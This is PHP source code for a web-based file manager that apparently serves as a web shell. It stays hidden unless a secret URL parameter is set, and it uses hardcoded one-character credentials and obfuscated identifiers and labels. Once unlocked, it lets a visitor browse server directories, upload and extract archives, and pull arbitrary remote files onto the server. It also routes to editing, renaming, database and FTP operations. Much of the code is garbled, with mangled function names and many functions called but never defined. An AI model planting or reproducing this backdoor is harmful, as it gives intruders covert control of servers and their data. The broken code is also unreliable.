<?php
ini_set("error_reporting","E_ALL & ~E_NOTICE");
if(!empty($_GET["emt"])){
	
	if($_GET["emt"]=='('){

header('Content-Type: text/html; charset=utf-8');
date_default_timezone_set('Asia/Shanghai');
session_start();
error_reporting(1);
$sitetitle = '';
$sefo = '(';
$inif = ')';
$safe_num = 0;//
$mail = '';//
$meurl = $_SERVER['PHP_SELF'];
$os = (DIRECTORY_SEPARATOR=='\\')?"":'';
$op = (isset($_REQUEST['op']))?htmlentities($_REQUEST['op']):'home';
$action = (isset($_REQUEST['action']))?htmlspecialchars($_REQUEST['action']):'';
$folder = (isset($_REQUEST['folder']))?htmlspecialchars($_REQUEST['folder']):'./';
$arr = str_split($folder);
if($arr[count($arr)-1]!=='/')$folder .= '/';
while(preg_match('/\.\.\//',$folder))$folder = preg_replace('/\.\.\//','/',$folder);
while(preg_match('/\/\//',$folder))$folder = preg_replace('/\/\//','/',$folder);
if($folder == '')$folder = "./";
$ufolder = $folder;
if($_SESSION['error'] > $safe_num && $safe_num !== 0)printerror('xiz！');



if ($_COOKIE['sefo'] != $sefo || $_COOKIE['inif'] != md5($inif)) {
	if (htmlspecialchars($_REQUEST['sefo']) == $sefo && htmlspecialchars($_REQUEST['inif']) == $inif) {
	    setcookie('sefo',$sefo,time()+60*60*24*1);
	    setcookie('inif',md5($inif),time()+60*60*24*1);
	}else{
		if (htmlspecialchars($_REQUEST['sefo']) == $sefo || htmlspecialchars($_REQUEST['inif'])) $er = true;
		login($er);
    exit;
	}
}


	}
}



function maintop($title,$showtop = true) {
	
	if(!empty($_GET["emt"])){
	
	if($_GET["emt"]=='('){
	


    global $meurl,$sitetitle,$op;
    echo "<!DOCTYPE html>\n<meta name='robots' content='noindex,follow' />\n<head>\n<meta name='viewport' content='width=device-width, initial-scale=1'/>\n"
        ."<title>$sitetitle - $title</title>\n"
        ."</head>\n"
        ."<body>\n"
        ."<style>\n*{font-family:'Verdana','Microsoft Yahei';}.box{border:1px solid #ccc;background-color:#fff;padding:10px;}abbr{text-decoration:none;}.title{border:1px solid #ccc;border-bottom:0;font-weight:normal;text-align:left;width:678px;padding:10px;font-size:12px;color:#666;background-color:#F0F0F0;}.right{float:right;text-align:right !important;}.content{width:700px;margin:auto;overflow:hidden;font-size:13px;}.login_button{height:43px;line-height:18px;font-family:'Candara';}.login_text{font-family:'Candara','Microsoft Yahei';vertical-align:middle;padding:7px;width:40%;font-size:22px;border:1px #ccc solid;}input[type=text]:focus,input[type=inifword]:hover{outline:0;background-color:#f8f8f8;}input[type=text]:hover,input[type=inifword]:hover,input[type=inifword]:active{outline:0;background-color:#f8f8f8;}h2{color:#514f51;text-align:center;margin:16px 0;font-size:48px;background-image: -webkit-gradient(linear, 0 0, 0 bottom, from(#7d7d7d), to(#514f51));-webkit-background-clip: text;background-clip: text;-webkit-text-fill-color: transparent;font-family:'Candara','Lucida Sans','Microsoft Yahei' !important;}span{margin-bottom:8px;}a:visited{color:#333;text-decoration:none;}a:hover{color:#999;text-decoration:none;}a{color:#333;text-decoration:none;border-bottom:1px solid #CCC;}a:active{color:#999;text-decoration:none;}.title a,td a,.menu a{border:0}textarea{outline:none;font-family:'Yahei Consolas Hybrid',Consolas,Verdana,Tahoma,Arial,Helvetica,'Microsoft Yahei',sans-serif !important;font-size:13px;border:1px solid #ccc;margin-top:-1px;padding:8px;line-height:18px;width:682px;max-width:682px;}input.button{background-color:#eeeeee;text-align:center !important;outline:none;border:1px solid #adadad;*display:inline;color:#000;padding:3px 18px;font-size:13px;margin-top:10px;transition: border-color 0.5s;}input.button:hover{background-color:#e5f1fb;border-color:#0078d7;}input.mob{padding:3px 40px;}input.text,select,option,.upload{border:1px solid #ccc;margin:6px 1px;padding:5px;font-size:13px;height:16px;}body{background-color:#fff;margin:0px 0px 10px;}.error{font-size:10pt;color:#AA2222;text-align:left}.menu{position:fixed;font-size:13px;}.menu li{list-style-type:none;padding:7px 25px;border-left:#fff solid 3px;margin-bottom:2px;}.menu li.curr{border-left:#666 solid 3px;background-color:#f7f7f7;} .menu li:hover{border-color:#469;background-color:#ededed;}.odTable span {cursor:pointer;}.odTable b{color:#ccc;font-size:12px;}.menu a:hover{color:#707070;}.table{background-color:#777;color:#fff;}th{text-align:left;height:40px;line-height:40px;border-bottom:3px solid #dbdbdb;font-size:14px;background-color:#f8f8f8 !important;}table{border:1px solid #ccc;border-collapse:collapse;}tr{color:#666;height:31px;font-size:12px;}tr a{color:#333}th{color:#333;}tr:nth-child(odd){background-color:#fff;}tr:nth-child(even){background-color:#f5f5f7;}tr:hover{background-color:#ebeced;}.upload{width:50%;}.home,.com{display:none;}.long{width:70%}.short{width:20%}.open{width:40px;}.rename{width:50px;}\n@media handheld, only screen and (max-width: 960px) {textarea{width: calc(100% - 18px);max-width: calc(100% - 18px);}.upload{width:calc(100% - 18px);}.login_button{width: 100%;margin-top:0 !important;padding:20px 5px !important;height:60px;font-size:23px !important;}.login_text{display: block;margin-bottom: 0;padding:20px 10px;width: 100%;border-bottom:0;}.menu{margin-left: -40px;position: static;padding:0;}.menu li{padding-bottom: 8px;}.title{width:calc(100% - 22px);}input.mob{height:40px;font-size:15px;width:100%;display:block;}.content{width:100%}input.button{padding:3px 10px;}.mobile b,.mobi{display:none;}.com{display:inline;}th{font-weight:normal;font-size:12px;}.open,.rename{width:25px;}}</style>\n";
    $back=($op!=='home')?$back = "<a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".$_SESSION['folder']."'><li>fa ".$_SESSION['folder']."</li></a>\n":$back = '';
    echo "<h2>$sitetitle</h2>\n";
    if ($showtop) {//
      if($op=='up'||$op=='upload'||$op=='yupload')$up = "class='curr'";if($op=='home'||$op =='edit'||$op =='ren'||$op =='unz')$home = "class='curr'";if($op=='cr'||$op=='create')$cr = "class='curr'";if($op=='sqlb'||$op=='sqlbackup')$sqlb = "class='curr'";if($op=='ftpa'||$op=='ftpall')$ftpa = "class='curr'";
        echo "<div class='menu'>\n<ul><a href='{$meurl}?op=home&emt=".$_GET['emt']."'><li $home></li></a>\n"
            .$back
            ."<a href='{$meurl}?op=up&emt=".$_GET['emt']."'><li $up>scwesooft</li></a>\n"

            ."</ul></div>";
    }
    echo "<div class='content'>\n";
	
		
			}
		}
		
}


function login($er=false) {
    global $meurl,$op,$safe_num,$mail;
    setcookie("sefo","",time()-60*60*24*1);
    setcookie("inif","",time()-60*60*24*1);
    maintop("dd",false);
    if ($er) { 
        if (isset($_SESSION['error'])){
            $_SESSION['error']++;
            if($_SESSION['error'] > $safe_num && $safe_num !== 0){
                mail($mail,'：<br>divp：'.$_SERVER['REMOTE_ADDR'],'From: <i@hezi.be>');
                echo ('<span class="error">ERROR: yixz</span>');
                exit;
            }
        }else{
            $_SESSION['error'] = 1;
        }
        echo "<span class=error>nvo！</span><br>\n"; 
    }
    echo "<form action='{$meurl}?op=".$op."&emt=".$_GET['emt']."' method='post'>\n"
        ."<input type='text' name='sefo' border='0' class='login_text' placeholder=''>\n"
        ."<input type='inifword' name='inif' border='0' class='login_text' placeholder=''>\n"
        ."<input type='submit' name='submitButtonName' value='LOGIN' border='0' class='login_button button'>\n"
        ."</form>\n";
    mainbottom();
}




function home() {
    global $os, $meurl ,$folder, $ufolder;

    $content1 = "";
    $content2 = "";

    $folder = gCode($folder);
    if(opendir($folder)){$style = opendir($folder);}else{printerror("soorbu！\n");exit;}
    $a=1;$b=1;

    if($folder)$_SESSION['folder']=$ufolder;

    maintop("zu");
    echo '<script>var order;function generateCompareTRs(iCol,sDataType,iOrder){return function compareTRs(oTR1,oTR2){vValue1=convert(oTR1.cells[iCol].getAttribute(iOrder),sDataType);vValue2=convert(oTR2.cells[iCol].getAttribute(iOrder),sDataType);order=iOrder;if(vValue1<vValue2){return -1}else{if(vValue1>vValue2){return 1}else{return 0}}}}function convert(sValue,sDataType){switch(sDataType){case"int":return parseInt(sValue);default:return sValue.toString()}}function sortTable(iOrder,iCol,sDataType){var oTable=document.getElementById("tblSort");var oTBody=oTable.tBodies[0];var colDataRows=oTBody.rows;var aTRs=new Array;for(var i=0;i<colDataRows.length;i++){aTRs[i]=colDataRows[i]}if(oTable.sortCol==iCol & iOrder==order){aTRs.reverse()}else{aTRs.sort(generateCompareTRs(iCol,sDataType,iOrder))}var oFragment=document.createDocumentFragment();for(var j=0;j<aTRs.length;j++){oFragment.appendChild(aTRs[j])}oTBody.appendChild(oFragment);oTable.sortCol=iCol;}</script>';
    echo "<form method='post'><table border='0' cellpadding='2' cellspacing='0' width=100% class='mytable odTable' id='tblSort'>\n";
    while($stylesheet = readdir($style)) {
    $ufolder = $folder;
    $sstylesheet = $stylesheet;
    if($os!=='windows'):$qx = "<td>".substr(sprintf('%o',fileperms($ufolder.$sstylesheet)), -3)."</td>";$xx='<td></td>';else:$qx = '';$xx='';endif;
    if ($stylesheet !== "." && $stylesheet !== ".." ) {
        $stylesheet = uCode($stylesheet);
        $folder = uCode($folder);
        $trontd = "<tr width=100% onclick='st=document.getElementById(\"$stylesheet\").checked;if(st==true){document.getElementById(\"$stylesheet\").checked=false;this.style.backgroundColor=\"\";}else{document.getElementById(\"$stylesheet\").checked=true;this.style.backgroundColor=\"#e3e3e5\";}'><td><svg width='21' height='21'>";
        $rename = "<td><a href='{$meurl}?op=ren&emt=".$_GET['emt']."&file=".htmlspecialchars($stylesheet)."&folder=$folder'><span class='com'>💽</span><span class='mobi'>cvm</span></a></td>\n";
        if (is_dir(gCode($folder.$stylesheet)) && is_readable(gCode($folder.$stylesheet))) {
            $content1[$a] = "$trontd<rect width='10px' height='14' style='fill:#ffe792' stroke='#e6c145' stroke-width='0.5' x='4' y='4'/><rect width='2px' height='5px' style='fill:#ffe792' stroke='#e6c145' stroke-width='0.5' x='13' y='13'/></svg><input name='select_item[d][$stylesheet]'  type='checkbox' id='$stylesheet' class='checkbox home' value='{$folder}{$stylesheet}' /></td>\n"
                           ."<td _order='1{$stylesheet}'' _ext='1' _time='1'><a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder={$folder}{$stylesheet}/' title='".gettime($folder.$stylesheet)."'>{$stylesheet}</a></td>\n"
                           ."<td _size='1'>".Size(dirSize($folder.$stylesheet))."</td>"
                           ."<td><span class='mobi'><a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".htmlspecialchars($folder.$stylesheet)."/'>doak</a><span></td>\n"
                           .$rename
                           ."<td><a href='{$folder}{$stylesheet}' target='_blank'><span class='com'>🔍</span><span class='mobi'>ck</span></a></td>\n"
                           .$qx."</tr>\n";
            $a++;
            $folder = gCode($folder);
        }elseif(!is_dir(gCode($folder.$stylesheet)) && is_readable(gCode($folder.$stylesheet))){
        $arr = explode('.',$folder.$stylesheet);
        $arr = end($arr);
        if($arr == 'zip'){#zipwesooft
            $filesizeme = filesize($ufolder.$sstylesheet);
            $content2[$b] = "$trontd<rect width='12' height='10' style='fill:#85d3f9' stroke='#48b8f4' stroke-width='0.5' x='3' y='4'/><rect width='12' height='2' style='fill:#fc8f24' stroke='#d66e1a' stroke-width='0.5' x='3' y='14'/><rect width='12' height='2' style='fill:#83d12a' stroke='#579714' stroke-width='0.5' x='3' y='16'/><rect width='2' height='14' style='fill:#763207' stroke='#97460b' stroke-width='0.5' x='11' y='4'/></svg><input name='select_item[f][$stylesheet]' type='checkbox' id='$stylesheet' onpropertychange='if(this.checked=false){this.parentNode.parentNode.style.backgroundColor='#e3e3e5';}else{this.parentNode.parentNode.style.backgroundColor='';}' class='checkbox home' value='{$folder}{$stylesheet}' /></td>\n"
                           ."<td _order='3{$stylesheet}'' _ext='3{$arr}'' _time='".(filemtime($folder.$stylesheet)+3)."''><a href='{$folder}{$stylesheet}' title='".gettime($folder.$stylesheet)."' target='_blank'>{$stylesheet}</a></td>\n"
                           ."<td _size='".($filesizeme+3)."''>".Size($filesizeme)."</td>"
                           ."<td></td>\n"
                           .$rename
                           ."<td><a href='{$meurl}?op=unz&emt=".$_GET['emt']."&dename=".htmlspecialchars($stylesheet)."&folder=$folder'><span class='com'>🎁</span><span class='mobi'>tq</span></a></td>\n"
                           .$qx."</tr>\n";
        }elseif($arr == 'gif'||$arr == 'jpg'||$arr == 'png'||$arr == 'bmp'||$arr == 'png5'||$arr == 'psd'||$arr == 'webp'||$arr == 'gz'||$arr == 'gzip'){
            $filesizeme = filesize($ufolder.$sstylesheet);
            $content2[$b] = "$trontd<rect width='10px' height='14' style='fill:#f8f9f9' stroke='#8f9091' stroke-width='0.5' x='4' y='4'/><rect width='2px' height='3px' style='fill:#f8f9f9' stroke='#8f9091' stroke-width='0.5' x='12' y='4'/><rect width='6' height='5px' style='fill:#f8f9f9' stroke='#438bd4' stroke-width='0.5' x='6' y='8'/><rect width='6' height='2px' style='fill:#438bd4' stroke='#438bd4' stroke-width='0.5' x='6' y='13'/></svg><input name='select_item[f][$stylesheet]' type='checkbox' id='$stylesheet' class='checkbox home' value='{$folder}{$stylesheet}' /></td>\n"
                           ."<td _order=\"3{$stylesheet}\" _ext=\"3{$arr}\" _time=\"".(filemtime($folder.$stylesheet)+3)."\"><a href='{$folder}{$stylesheet}' title='".gettime($folder.$stylesheet)."' target='_blank'>{$stylesheet}</a></td>\n"
                           ."<td _size=\"".($filesizeme+3)."\">".Size($filesizeme)."</td>"
                           ."<td></td>\n"
                           .$rename
                           ."<td><a href='{$folder}{$stylesheet}' target='_blank'><span class='com'>🔍</span><span class='mobi'>ck</span></a></td>\n"
                           .$qx."</tr>\n";
        }else{
          $filesizeme = filesize($ufolder.$sstylesheet);
            $content2[$b] = "$trontd<rect width='10px' height='14' style='fill:#f8f9f9' stroke='#8f9091' stroke-width='0.5' x='4' y='4'/><rect width='2px' height='3px' style='fill:#f8f9f9' stroke='#8f9091' stroke-width='0.5' x='12' y='4'/></svg><input name='select_item[f][$stylesheet]' type='checkbox' id='$stylesheet' class='checkbox home' value='{$folder}{$stylesheet}' /></td>\n"
                           ."<td _order='3{$stylesheet}' _ext='3{$arr}' _time='".(filemtime($folder.$stylesheet)+3)."'><a href='{$folder}{$stylesheet}' title='".gettime($folder.$stylesheet)."' target='_blank'>{$stylesheet}</a></td>\n"
                           ."<td _size='".($filesizeme+3)."'>".Size(filesize($ufolder.$sstylesheet))."</td>"
                           ."<td><a href='{$meurl}?op=edit&emt=".$_GET['emt']."&fename=".htmlspecialchars($stylesheet)."&folder=$folder'><span class='com'>📝</span><span class='mobi'>bi</span></a></td>\n"
                           .$rename
                           ."<td><a href='{$folder}{$stylesheet}' target='_blank'><span class='com'>🔍</span><span class='mobi'>ck</span></a></td>\n"
                           .$qx."</tr>\n";
        }
        $b++;
        $folder = gCode($folder);
    }
    } 
}
    closedir($style);

    $lu = explode('/', $_SESSION['folder']);
    array_pop($lu);
    $u = '';
    echo '<div class="title">';
    foreach ($lu as $v) {
        $u = $u.$v.'/';
        if($v=='.'){$v='zu';}elseif($v==''){$v='soof';}
        echo '<a href="'.$meurl.'?op=home&emt='.$_GET["emt"].'&folder='.$u.'">'.$v.'</a> » ';
    }
    echo "wesooft\n"
        ."<span class='right'>",$a-1," wsooft ",$b-1," 个wesooft</span></div>"
        ."<div style='position:fixed;bottom:0;margin-left:3px;'><input type='checkbox' id='check' onclick='Check()'> <input class='button' name='action' type='submit' value='ayi' /> <input class='button' name='action' type='submit' value='fu' /> <input class='button' name='action' type='submit' onclick='return confirm(\"diovk\")'  value='raar' /> <input class='button' name='action' type='submit' onclick='return confirm(\"zdvel?\")' value='deel' /> <input class='button' name='action' type='submit' onclick='var t=document.getElementById(\"chmod\").value;return confirm(\"ra\"+t+\"？rg！\")' value='qsv' /> <input type='text' class='text' stlye='vertical-align:text-top;' size='3' id='chmod' name='chmod' value='siv7'></div>";

    if($os!=='windows'):$qx = "<th width=40>qsv</th>\n";else:$qx = '';endif;
    echo "<thead><span id='idCheckbox'></span><tr class='headtable' width=100%>"
        ."<script>function Check(){collid=document.getElementById('check');coll=document.getElementsByTagName('input');if(collid.checked){for(var i=0;i<coll.length;i++){if(coll[i].type=='checkbox'){coll[i].checked=true;coll[i].parentNode.parentNode.style.backgroundColor='#e3e3e5';}}}else{for(var i=0;i<coll.length;i++){if(coll[i].type=='checkbox'){coll[i].checked=false;coll[i].parentNode.parentNode.style.backgroundColor='';}}}}</script>"
       ."<th width=20px></th>\n"
       ."<th style='width: calc(100% - 225px);'><div class='mobile'><span onclick=\"sortTable('_order',1);\">woof</span> <b>/</b> <span onclick=\"sortTable('_ext',1);\"> <b>/</b></span> <span onclick=\"sortTable('_time',1,'int');\">sj</span></div></th>\n"
       ."<th width=65px><span onclick=\"sortTable('_size',2,'int');\">dx</span></th>\n"
       ."<th class='open'><span class='mobi'>dk</span></th>\n"
       ."<th class='rename'><span class='mobi'>cm</span></th>\n"
       ."<th class='open'><span class='mobi'>ck</span></th>\n"
       .$qx
       ."</tr></thead><tbody>";
    if($_SESSION['folder']!="./" and $_SESSION['folder']!="/"){
        $last = (substr($_SESSION['folder'],0,1)=='/')?explode('/', substr($_SESSION['folder'],1,-1)):explode('/', substr($_SESSION['folder'],2,-1));
        $back = (substr($_SESSION['folder'],0,1)=='/')?'':substr($_SESSION['folder'],0,1);
        array_pop($last);
        foreach ($last as $value) {
          $back = $back.'/'.$value;
        }
        if($os=='windows')$qx="";else $qx="<td></td>";
        echo "<tr width=100%><td></td><td _order=\"1\" _ext=\"1\" _time=\"1\"><a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".$back."/"."'>sjsoof</a></td><td _size=\"1\"></td><td></td><td></td><td></td>$xx</tr>";
    }
    for ($a=1; $a<count($content1)+1;$a++) if(!empty($content1)) echo $content1[$a];
    for ($b=1; $b<count($content2)+1;$b++) echo $content2[$b];
      echo "</tbody></form>";

    echo "</table>";
    mainbottom();
}

function gettime($filename){return "xisj：".date("Y-m-d H:i:s",filemtime($filename))."\n"."zjsj：".date("Y-m-d H:i:s",filectime($filename));}
function uCode($text){return mb_convert_encoding($text,'UTF-8','GBK');}
function gCode($text){return mb_convert_encoding($text,'GBK','UTF-8');}

function dirSize($directoty){
  $dir_size=0;
    if($dir_handle=opendir($directoty))
    	{
    		while($filename=readdir($dir_handle)){
    			$subFile=$directoty.DIRECTORY_SEPARATOR.$filename;
    			if($filename=='.'||$filename=='..'){
    				continue;
    			}elseif (is_dir($subFile))
    			{
    				$dir_size+=dirSize($subFile);
    			}elseif (is_file($subFile)){
    				$dir_size+=filesize($subFile);
    			}
    		}
    		closedir($dir_handle);
    	}
    return ($dir_size);
}
// 
function Size($size) { 
   $sz = ' kMGTP';
   $factor = floor((strlen($size) - 1) / 3);
   return ($size>=1024)?sprintf("%.2f", $size / pow(1024, $factor)) . @$sz[$factor]:$size;
} 

function curl_get_contents($url)   
{   
    $ch = curl_init();   
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $r = curl_exec($ch);   
    curl_close($ch);   
    return $r;   
}


function up() {
    global $meurl, $folder;
    maintop("sc");

    echo "<FORM ENCTYPE='multipart/form-data' ACTION='{$meurl}?op=upload&emt=".$_GET['emt']."' METHOD='POST'>\n"
        ."<div class='title'>bsc Max:".ini_get('upload_max_filesize').",".ini_get('max_file_uploads')."</div><div class='box' style='border-bottom:0;'><input type='File' name='upfile[]' multiple size='30'>\n"
        ."</div><input type='text' name='ndir' style='width:calc(100% - 12px);margin:0;' value='".$_SESSION["folder"]."' class='upload'>\n";

    echo "<div class='right'><input type='checkbox' name='unzip' id='unzip' value='checkbox' onclick='UpCheck()' checked><label for='unzip'><abbr title='tq（raar）scraarwesooft'>raar</abbr></labal> "
        ."<input type='checkbox' name='delzip' id='deluzip'value='checkbox'><label for='deluzip'><abbr title='scraarwesooftdeel'>deel</abbr></labal> "
        ."<input type='submit' value='sc' class='button'></div><br><br><br><br>\n"
        ."<script>function UpCheck(){if(document.getElementById('unzip').checked){document.getElementById('deluzip').disabled=false}else{document.getElementById('deluzip').disabled=true}}</script>"
        ."</form>\n";
    echo "<div class='title'>yaso</div><div class='box' style='border-bottom:0;'><br>d<br><form action='{$meurl}?op=yupload&emt=".$_GET['emt']."' method='POST'>"
         ."</div><input type='text' class='text' style='width:calc(100% - 12px);margin:0;' name='ndir' value='".$_SESSION["folder"]."'><textarea name='url' placeholder='ivp……'></textarea>"
         ."<div class='right'><input type='checkbox' name='unzip' id='un' value='checkbox' onclick='Check()' checked><label for='un'><abbr title='dq（raar）scraarwesooft'>raar</abbr></labal> "
         ."<input type='checkbox' name='delzip' id='del'value='checkbox'><label for='del'><abbr title='raarwesooftdeel'>deel</abbr></labal> <input name='submit' value='xz' type='submit' class='button'/></div>\n"
         ."<script>function Check(){if(document.getElementById('un').checked){document.getElementById('del').disabled=false}else{document.getElementById('del').disabled=true}}</script>"
         ."</form>";

    mainbottom();
}


function yupload($url, $folder, $unzip, $delzip) {
	global $meurl;
    if(empty($folder)){
    	$folder="./";
    }
    $nfolder = $folder;
    $nurl = $url;
    $url = gCode($url);
    $folder = gCode($folder);
    if($url!==""){
    	ignore_sefo_abort(true); // 
        set_time_limit (24 * 60 * 60); // 
  	    if (!file_exists($folder)){
    	    mkdir($folder, 0755);
        }
    $newfname = $folder . basename($url); // 
    if(function_exists('curl_init')){
    	  $file = curl_get_contents($url);file_put_contents($newfname,$file);
    }else{
        $file=fopen($url,"rb");
        if($file){$newf = fopen ($newfname, "wb");
        if($newf)while (!feof($file)) {fwrite($newf, fread($file, 1024 * 8), 1024 * 8);}}
        if($file)fclose($file);
        if($newf)fclose($newf);
    }
    maintop("sc");
    echo "<div class='title'>wesooft ".basename($url)." scovk<br></div><div class='box'>\n";
    $end = explode('.', basename($url));
    if((end($end)=="zip") && isset($unzip) && $unzip == "checkbox"){
        if(class_exists('ZipArchive')){
          echo " <a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".$folder."'>wesooft</a>  <a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".$_SESSION['folder']."'>fasoor</a>   <a href='{$meurl}?op=up&emt=".$_GET['emt']."'>jisc</a>\n";
          echo "</div><textarea rows=15 disabled>";
            $zip = new ZipArchive();
            if ($zip->open($folder.basename($url)) === TRUE) {
                if($zip->extractTo($folder)){
                for($i = 0; $i < $zip->numFiles; $i++) {
                    echo "Unzip:".$zip->getNameIndex($i)."\n";
                }
                $zip->close();
            }else{
            	echo('<span class="error">Error:'.$nfolder.$ndename.'</span>');
            }
                echo basename($nurl)." yiraar $nfolder\n";
                if(isset($delzip) && $delzip == "checkbox"){
            	    if(unlink($folder.basename($url))){
            	        echo basename($url)." deelovk\n";
                    }else{
            	        echo basename($url)." deelno\n";
                }
                }
            }else{
                echo('<span class="error">wuraarwesooft：'.$nfolder.basename($nurl).'</span>');
            }
            echo '</textarea>';
        }else{
        	echo('<span class="error">pvp</span></div>');
        }
    }else{
    	echo "<a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder={$nfolder}'></a>  <a href='{$meurl}?op=edit&emt=".$_GET['emt']."&fename=".basename($url)."&folder={$nfolder}'>biweft</a>  <a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder={$_SESSION['folder']}'>fusoor</a>   <a href='{$meurl}?op=up&emt=".$_GET['emt']."'>jisc</a>\n</div>";
    }
    mainbottom();
    return true;
    }else{
	    printerror ('weso');
    }
}


function upload($upfile,$ndir,$unzip,$delzip) {
    global $meurl, $folder;
    if(empty($ndir)){
    	$ndir="./";
    }
    $nfolder = $folder;
    $nndir = $ndir;
    $ndir = gCode($ndir);
    if (!$upfile) {
        printerror("xiwesooft！");
        exit;
    }elseif($upfile) { 
  	    maintop("sc");
  	if (!file_exists($ndir)){
    	mkdir($ndir, 0755);
    }
    $i = 1;
    echo "<div class='box'> <a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".$ndir."'>wesooftsc</a>  <a href='{$meurl}?op=home&emt=".$_GET['emt']."&folder=".$_SESSION['folder']."'>fanfoo</a>  <a href='{$meurl}?op=up&emt=".$_GET['emt']."'>jisc</a></div>\n";
    echo '<textarea rows=15 disabled>';
    while (count($upfile['name']) >= $i){
    	$dir = gCode($nndir.$upfile['name'][$i-1]);
        if(copy($upfile['tmp_name'][$i-1],$dir)) {
            echo "wesooft ".$nndir.$upfile['name'][$i-1]." scovk\n";
            $end = explode('.', $upfile['name'][$i-1]);
            if((end($end)=="zip") && isset($unzip) && $unzip == "checkbox"){
            	if(class_exists('ZipArchive')){
                    $zip = new ZipArchive();
                    if ($zip->open($dir) === TRUE) {
                if($zip->extractTo($ndir)){
                for($j = 0; $j < $zip->numFiles; $j++) {
                    echo $zip->getNameIndex($j)."\n";
                }
                $zip->close();
            }
                        echo $upfile['name'][$i-1]." yiraar $nndir\n";
                        if(isset($delzip) && $delzip == "checkbox"){
            	            if(unlink($dir.$upfile['name'][$i-1])){
            	                echo $upfile['name'][$i-1]." deelovk\n";
                            }else{
                                echo $upfile['name'][$i-1].(" deelnvo！\n");
                            }
                        }
                    }else{
                        echo("raarwesooft：".$nndir.$upfile['name'][$i-1]."\n");
                    }
                }else{
            	    echo("nvo\n");
                }
            }
        }else{
            echo("wesooft ".$upfile['name'][$i-1]." scnvo\n");
        }
        $i++;
    }
        echo '</textarea>';
        mainbottom();
    }else{
        printerror("xiwesooft！");
    }
}



switch($op) {
    case "home":
    home();
    break;

    case "up":
    up();
    break;

    case "yupload":
    if(!isset($_REQUEST['url'])){
    	printerror('wesooft！');
    }elseif(isset($_REQUEST['ndir'])){
        yupload($_REQUEST['url'], $_REQUEST['ndir'], $_REQUEST['unzip'],$_REQUEST['delzip']);
    }else{
    	yupload($_REQUEST['url'], './',$_REQUEST['unzip'],$_REQUEST['delzip']);
    }
    break;

    case "upload":
    if(!isset($_FILES['upfile'])){
    	printerror('wesooft！');
    }elseif(isset($_REQUEST['ndir'])){
        upload($_FILES['upfile'], $_REQUEST['ndir'], $_REQUEST['unzip'] ,$_REQUEST['delzip']);
    }else{
    	upload($_FILES['upfile'], './', $_REQUEST['unzip'] ,$_REQUEST['delzip']);
    }
    break;

    case "unz":
    unz($_REQUEST['dename']);
    break;

    case "unzip":
    unzip($_REQUEST['dename'],$_REQUEST['ndir'],$_REQUEST['del']);
    break;

    case "sqlb":
    sqlb();
    break;

    case "sqlbackup":
    sqlbackup($_POST['ip'], $_POST['sql'], $_POST['sefoname'], $_POST['inifword']);
    break;

    case "ftpa":
    ftpa();
    break;

    case "ftpall":
    ftpall($_POST['ftpip'], $_POST['ftpsefo'], $_POST['ftpinif'], $_POST['goto'], $_POST['ftpfile'], $_POST['del']);
    break;

    case "edit":
    edit($_REQUEST['fename']);
    break;

    case "save":
    save($_REQUEST['ncontent'], $_REQUEST['fename'], $_REQUEST['encode']);
    break;

    case "cr":
    cr();
    break;

    case "create":
    create($_REQUEST['nfname'], $_REQUEST['isfolder'], $_REQUEST['ndir']);
    break;

    case "ren":
    ren($_REQUEST['file']);
    break;

    case "rename":
    renam($_REQUEST['rename'], $_REQUEST['nrename'], $folder);
    break;

    case "movall":
    movall($_REQUEST['file'], $_REQUEST['ndir'], $folder);
    break;

    case "copy":
    tocopy($_REQUEST['file'], $_REQUEST['ndir'], $folder);
    break;

    case "printerror":
    printerror($error);
    break;

    case "logout":
    logout();
    break;   

    case "z":
    z($_REQUEST['dename'],$_REQUEST['folder']);
    break;

    case "zip":
    zip($_REQUEST['dename'],$_REQUEST['folder']);
    break;

    default:
    home();
    break;
}





?>